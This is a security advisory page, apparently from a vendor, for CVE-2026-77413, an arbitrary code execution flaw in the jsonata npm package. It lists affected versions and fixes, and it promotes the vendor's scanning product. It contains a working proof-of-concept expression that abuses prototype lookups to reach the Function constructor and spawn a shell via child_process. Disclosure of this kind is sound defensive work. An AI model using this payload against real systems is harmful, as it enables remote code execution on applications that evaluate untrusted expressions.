CVE-2026-77413
Fix: jsonata-js/jsonata#794CVE-2026-77413 is a Code Injection vulnerability in jsonata. O3 Security confirms whether CVE-2026-77413 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
JSONata: Arbitrary Code Execution via crafted JSONata expressions
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
jsonatanpmDescription
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function:
https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
__lookupSetter__('__proto__')(constructor);
__defineGetter__('l', constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'}).toString()"));
valueOf().l
)
`);
await expression.evaluate({});
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | jsonata | all versions | 1.8.8 |
| 📦npm | jsonata | ≥ 2.0.0&&< 2.2.0 | 2.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for jsonata. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update jsonata to 1.8.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-77413 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-77413 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-77413. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-77413 in your dependencies?
O3 detects CVE-2026-77413 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.